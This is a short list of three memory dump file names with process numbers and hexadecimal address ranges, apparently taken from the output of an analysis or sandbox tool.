memory/492-72-0x0000000037130000-0x0000000037140000-memory.dmp

memory/500-78-0x0000000000250000-0x000000000027C000-memory.dmp

memory/2344-176-0x000007FEF55F0000-0x000007FEF5FDC000-memory.dmp